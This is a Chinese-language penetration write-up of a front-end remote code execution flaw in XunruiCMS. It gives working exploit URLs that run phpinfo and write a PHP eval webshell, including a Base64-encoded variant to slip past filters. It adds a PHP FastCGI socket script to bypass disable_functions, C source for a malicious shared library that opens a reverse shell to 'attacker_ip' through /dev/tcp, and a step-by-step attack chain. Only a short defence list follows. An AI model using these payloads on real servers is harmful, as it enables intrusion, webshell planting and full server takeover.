记一次简单的渗透(三)
字数 1060 2025-08-05 00:16:39
XunruiCMS 前台 RCE 漏洞分析与利用
漏洞概述
本文详细分析 XunruiCMS 存在的一个前台远程代码执行漏洞,该漏洞允许攻击者通过精心构造的请求在前台直接执行任意 PHP 代码,最终获取服务器权限。
漏洞验证
基础验证
通过以下 URL 构造可以验证漏洞存在性:
https://target.com/?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=phpinfo%20param0=-1
成功执行后会在页面中显示 phpinfo() 信息,可通过查看页面源码确认(Ctrl+U)。
代码执行原理
漏洞利用的是模板解析功能中的动态函数调用,核心是利用 call_user_func_array 函数实现任意代码执行。
漏洞利用
写入Webshell
- 直接写入方法(可能被过滤):
http://target.com/?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=uploadfile/member/1.php%20param1=<?=eval($_POST[cmd]);?>
- 使用Base64编码绕过过滤(更可靠):
http://target.com/?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=php://filter/convert.base64-decode/resource=uploadfile/member/1.php%20param1=PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
其中 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== 是 <?php eval($_POST['cmd']);?> 的Base64编码。
绕过限制
当遇到 disable_functions 或 open_basedir 限制时,可采用以下方法:
1. FastCGI协议绕过
通过直接与PHP-FPM通信绕过限制:
<?php
$out = base64_decode($_POST['data']);
$fp = fsockopen("unix:///tmp/php-cgi-73.sock", -1, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
2. 使用恶意.so文件
编译并加载恶意共享库:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/attacker_ip/2333 0>&1'");
}
编译命令:
gcc exploit.c -fPIC -shared -o exploit.so
然后通过文件写入将.so文件上传到服务器临时目录,并通过PHP的extension_dir和disable_functions设置加载。
完整攻击流程
- 验证漏洞存在性(phpinfo测试)
- 尝试直接写入webshell
- 如遇过滤,使用Base64编码绕过
- 如遇disable_functions限制,使用FastCGI协议绕过
- 如FastCGI不可用,编译并加载恶意.so文件
- 获取反向shell或维持持久访问
防御建议
- 及时升级XunruiCMS到最新版本
- 限制模板解析功能的权限
- 禁用危险的PHP函数(如
eval,system等) - 配置适当的open_basedir限制
- 监控对
/tmp/php-cgi-*.sock等特殊文件的访问 - 定期审计服务器上的可疑文件(特别是uploadfile目录)
技术总结
该漏洞展示了从简单的代码执行到完整系统权限获取的完整渗透过程,涉及多种绕过技术:
- 过滤绕过(Base64编码)
- disable_functions绕过(FastCGI协议)
- open_basedir绕过
- 通过预加载恶意库获取shell
这些技术在实际渗透测试中具有普遍适用性,防御方应全面了解这些攻击手法以构建更安全的系统。